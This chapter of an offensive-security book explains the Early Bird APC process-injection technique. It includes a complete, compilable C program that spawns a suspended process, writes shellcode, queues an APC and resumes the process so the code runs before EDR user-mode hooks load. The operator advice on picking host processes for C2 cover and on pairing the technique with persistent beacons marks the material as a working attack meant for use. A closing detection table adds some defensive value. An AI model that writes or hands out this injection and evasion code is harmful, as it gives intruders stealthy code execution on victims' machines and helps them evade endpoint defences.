Chapter 31

Early Bird APC

Standard APC injection (Chapter 30) has a fundamental reliability problem: it only works if an existing thread happens to enter an alertable wait. Early Bird APC solves this by creating a new process in the suspended state — then queuing the APC before the process's main thread runs a single instruction. When ResumeThread is called, the very first thing the new process does during initialization is call alertable wait functions inside ntdll's LdrpInitializeProcess. The APC fires here, before any EDR hooks are active (they haven't been injected into this new process yet), and before any user-mode AV has had a chance to scan the process's memory. This "early" execution window is the key advantage — it predates most defensive instrumentation in the new process.

Why Early Bird is More Reliable and More Stealthy

Standard APC injection vs Early Bird timing
  STANDARD APC INJECTION (targeting existing process):
  ─────────────────────────────────────────────────────────────────────────
  Time 0: explorer.exe already running
  Time 0: EDR DLL injected into explorer.exe at startup ← hooking is active
  Time 1: We inject shellcode via VirtualAllocEx + WPM
  Time 2: We QueueUserAPC on explorer.exe threads
  Time 3: Our shellcode eventually runs... through all the EDR hooks
  
  EDR sees: VirtualAllocEx (flagged), WriteProcessMemory (flagged),
            QueueUserAPC to existing process (flagged by ETW-TI),
            shellcode execution in monitored process (flagged)

  EARLY BIRD APC (new suspended process):
  ─────────────────────────────────────────────────────────────────────────
  Time 0: CreateProcess(svchost.exe, CREATE_SUSPENDED)
          → New process created, main thread suspended
          → EDR has NOT yet injected its hooks into this new process
             (EDR injection happens via LoadLibrary notification callback,
              which fires during LdrpInitializeProcess — but that hasn't
              run yet because the thread is suspended)
  
  Time 1: VirtualAllocEx + WriteProcessMemory + QueueUserAPC
          → Write shellcode, queue APC
          → Still no hooks in the new process
  
  Time 2: ResumeThread
          → Main thread starts executing ntdll.dll initialization code
          → LdrpInitializeProcess calls alertable waits (SleepEx with bAlertable)
          → APC fires HERE — during ntdll initialization
          → Shellcode runs BEFORE EDR hooks are loaded!
  
  Time 3: EDR's DLL injection callback fires (too late — shellcode already ran)
          EDR DLL loads into the process, hooks ntdll, etc.
          But the shellcode has already executed and potentially established C2.
  
  Key insight: The window between process creation and first EDR hook injection
  is a brief period where the process has NO user-mode defensive instrumentation.
  Early Bird exploits this window by queueing an APC that fires during ntdll init.

Implementation

/* early_bird_apc.c — Early Bird APC injection
   
   Creates a new process suspended, injects shellcode, queues APC,
   then resumes. The APC fires during the new process's initialization
   before EDR hooks are active.
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o early_bird.exe early_bird_apc.c
*/

#include <windows.h>
#include <stdio.h>

static unsigned char sc[] = { 0x90, 0x90, 0x90, 0xC3 };
static SIZE_T sc_len = sizeof(sc);

static BOOL early_bird_inject(const char *host_exe) {
    /* Step 1: Create process in suspended state */
    STARTUPINFOA si = { .cb = sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };

    /*
     * Host exe choice for Early Bird:
     *   svchost.exe — good: runs as user (if you specify -k netsvcs),
     *                 but may require specific arguments or fail to init
     *   notepad.exe — simplest: no arguments needed, minimal init code,
     *                 reliable alertable wait in CRT startup
     *   msiexec.exe  — runs without obvious window, looks legitimate
     *   werfault.exe — Windows Error Reporting host, unusual if suspicious
     *   
     *   Best practice: pick a process that:
     *     a) Takes no required command-line args (or provide them)
     *     b) Is expected to run in the user's session
     *     c) Makes outbound network connections (for C2 cover)
     */
    if (!CreateProcessA(
            NULL,
            (LPSTR)host_exe,
            NULL, NULL, FALSE,
            CREATE_SUSPENDED,     /* main thread starts paused */
            NULL, NULL,
            &si, &pi)) {
        printf("[-] CreateProcess(%s): %lu\n", host_exe, GetLastError());
        return FALSE;
    }
    printf("[+] Created suspended: %s (PID %lu, TID %lu)\n",
           host_exe, pi.dwProcessId, pi.dwThreadId);

    /* Step 2: Allocate memory for shellcode in the new process */
    /*
     * We allocate BEFORE ResumeThread — at this point the process's
     * address space is barely initialized (just ntdll and the kernel mapped in).
     * EDR hooks are NOT present yet.
     */
    LPVOID remote_sc = VirtualAllocEx(pi.hProcess, NULL, sc_len,
                                       MEM_COMMIT | MEM_RESERVE,
                                       PAGE_READWRITE);
    if (!remote_sc) {
        printf("[-] VirtualAllocEx: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
        return FALSE;
    }

    /* Step 3: Write shellcode */
    SIZE_T written = 0;
    WriteProcessMemory(pi.hProcess, remote_sc, sc, sc_len, &written);
    printf("[+] Shellcode written to %p\n", remote_sc);

    /* Step 4: Change protection to RX */
    DWORD old_protect = 0;
    VirtualProtectEx(pi.hProcess, remote_sc, sc_len,
                     PAGE_EXECUTE_READ, &old_protect);

    /* Step 5: Queue APC on the main thread of the new process */
    /*
     * pi.hThread is the handle to the new process's MAIN thread.
     * We queue the APC on this thread specifically.
     * When the main thread is resumed (step 6), it will:
     *   a) Start executing ntdll's LdrpInitializeProcess
     *   b) During init, call SleepEx/alertable waits
     *   c) Our APC fires at that point — EARLY, before EDR hooks
     *
     * QueueUserAPC requires THREAD_SET_CONTEXT access.
     * pi.hThread was created with full access, so this succeeds.
     */
    if (!QueueUserAPC((PAPCFUNC)remote_sc, pi.hThread, (ULONG_PTR)NULL)) {
        printf("[-] QueueUserAPC: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
        return FALSE;
    }
    printf("[+] APC queued on main thread %lu\n", pi.dwThreadId);

    /* Step 6: Resume the main thread */
    /*
     * The thread was suspended at count 1.
     * ResumeThread decrements the suspend count.
     * When count reaches 0, the thread starts executing.
     *
     * What happens next (in order):
     *   1. Thread starts at ntdll.dll's process entry thunk (_LdrpInitialize)
     *   2. ntdll calls LdrpInitializeProcess (sets up heap, loads imports, etc.)
     *   3. ntdll initialization makes alertable waits (SleepEx with bAlertable)
     *   4. Windows drains APC queue → our shellcode runs
     *   5. Shellcode returns (if it's a beacon, it stays running in a new thread)
     *   6. ntdll continues initialization → eventually calls the exe's entry point
     *   7. notepad.exe (or whatever) starts normally
     *
     * The host process runs normally after our shellcode fires.
     * Users see a notepad window; under the hood, our beacon is running.
     */
    DWORD suspend_count = ResumeThread(pi.hThread);
    printf("[+] Thread resumed (previous suspend count: %lu)\n", suspend_count);
    printf("[*] APC will fire during process initialization\n");

    /*
     * For a dropper (one-shot execution): wait briefly for APC to fire,
     * then let the spawned process run. The dropper can exit cleanly.
     * The shellcode may spawn its own threads for persistence.
     */
    Sleep(2000);  /* give the process time to initialize and fire APC */

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    printf("[+] Early Bird injection complete\n");
    return TRUE;
}

int main(int argc, char *argv[]) {
    const char *target = (argc > 1) ? argv[1] : "notepad.exe";
    return early_bird_inject(target) ? 0 : 1;
}

The EDR Hook Gap — Why It Works

Understanding when EDR hooks arrive in a new process:

Process lifecycle (simplified):
  CreateProcess called by parent
    ↓
  Kernel creates process object + maps ntdll.dll
    ↓
  Main thread created in SUSPENDED state (if CREATE_SUSPENDED)
    ↓
  [Early Bird: inject shellcode, queue APC here — NO EDR HOOKS YET]
    ↓
  ResumeThread
    ↓
  ntdll.dll _LdrpInitialize starts running in main thread
    ↓
  LdrpInitializeProcess begins:
    - Initialize heap (RtlCreateHeap)
    - Load required DLLs (kernel32.dll, etc.) via LdrLoadDll
    [Early Bird APC fires here — during DLL loading init]
    - Call DLL load notifications → EDR's PsSetLoadImageNotifyRoutine
      callback fires → EDR injects its own DLL
    [EDR DLL loaded at this point]
    - EDR DLL's DllMain runs → patches ntdll functions with hooks
    ↓
  Process reaches user code (exe's WinMain / mainCRTStartup)
  [EDR hooks fully active by this point]

The window:
  Between "ResumeThread" and "EDR DLL loaded" is a brief period
  (typically <100ms) where the process has no user-mode EDR hooks.
  APCs queued before ResumeThread fire during this window.

Why this matters:
  EDR user-mode hooks intercept API calls to detect injection.
  If shellcode fires BEFORE hooks are installed, those API calls
  from the shellcode are NOT intercepted. The shellcode runs
  "blind" to the EDR's user-mode detection.
  
  HOWEVER: Kernel-level detection (ETW-TI, kernel callbacks) is active
  from the moment the process is created. The VirtualAllocEx,
  WriteProcessMemory, and QueueUserAPC calls ARE still logged at
  the kernel level. Early Bird bypasses USER-MODE hooks only.
  Against kernel-level EDR telemetry, it provides no advantage over
  any other injection technique.

Detection

Early Bird detection signals
  Signal                                      │ Detection layer
  ────────────────────────────────────────────┼───────────────────────────────────────────────
  CreateProcess with CREATE_SUSPENDED         │ Sysmon EventID 1: CreationFlags includes
  followed immediately by WriteProcessMemory  │ 0x4 (CREATE_SUSPENDED). Rare outside
                                              │ specific tool patterns. Pair with WPM = alert.
                                              │
  QueueUserAPC on main thread before resume   │ ETW-TI: NtQueueApcThread to own child
                                              │ process before ResumeThread = very suspicious
                                              │
  APC callback in process before EDR hooks    │ EDR cannot easily detect this (hooks weren't
  (the actual advantage)                      │ present). Post-hoc: shellcode ran before
                                              │ any hooks were established.
                                              │
  Anonymous RWX region in new process         │ EDR scans memory after hooks are loaded:
                                              │ finds RW→RX region from early injection.
                                              │ The shellcode already ran but the memory
                                              │ is still there.
                                              │
  Beacon C2 traffic from [host_exe]           │ Network: notepad.exe making HTTPS connections
                                              │ to an unusual IP = high alert.
  ────────────────────────────────────────────┴───────────────────────────────────────────────
  
  Defender for Endpoint (MDE) detection name:
    "Suspicious process injection" → "Early Bird code injection technique"
    Microsoft added dedicated detection for this pattern in 2020.

Questions & Answers

Does Early Bird work if the target executable has no alertable waits in its initialization?

Most Windows executables do call alertable waits during initialization because ntdll's LdrpInitializeProcess itself uses them during DLL loading (for synchronization on the loader lock with other threads). However, if a target executable is extremely minimal (a few lines of code, no DLL imports, statically linked) and doesn't call any alertable function during startup, the APC could remain queued indefinitely and never fire. For typical system executables like notepad.exe, msiexec.exe, or svchost.exe, alertable waits fire reliably during the CRT startup code and the Win32 subsystem initialization. If you're targeting a custom or unusual executable, test specifically. An alternative that doesn't require alertable waits is Thread Hijacking (Chapter 32) or using NtQueueApcThreadEx with QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC which fires without needing an alertable state.

Can Early Bird be combined with process hollowing for a more complete technique?

Yes — this combination is common in production malware. Create the process suspended (like process hollowing in Chapter 27), then instead of SetThreadContext + ResumeThread, add an APC queue step: queue the APC on the main thread before resuming. The APC fires during ntdll initialization (before any hollowing effects), optionally runs a first-stage payload, and the hollowed image (written via NtUnmapViewOfSection + VirtualAllocEx + WriteProcessMemory) provides the visible process identity. However, the practical benefit of combining them is limited — both techniques are detectable by kernel-level telemetry. The combination adds complexity without dramatically improving stealth against modern EDRs. For most offensive uses, Early Bird alone (with proper shellcode that establishes C2 and spawns a persistent thread) is sufficient, and the simplicity reduces the chance of bugs in the injection chain.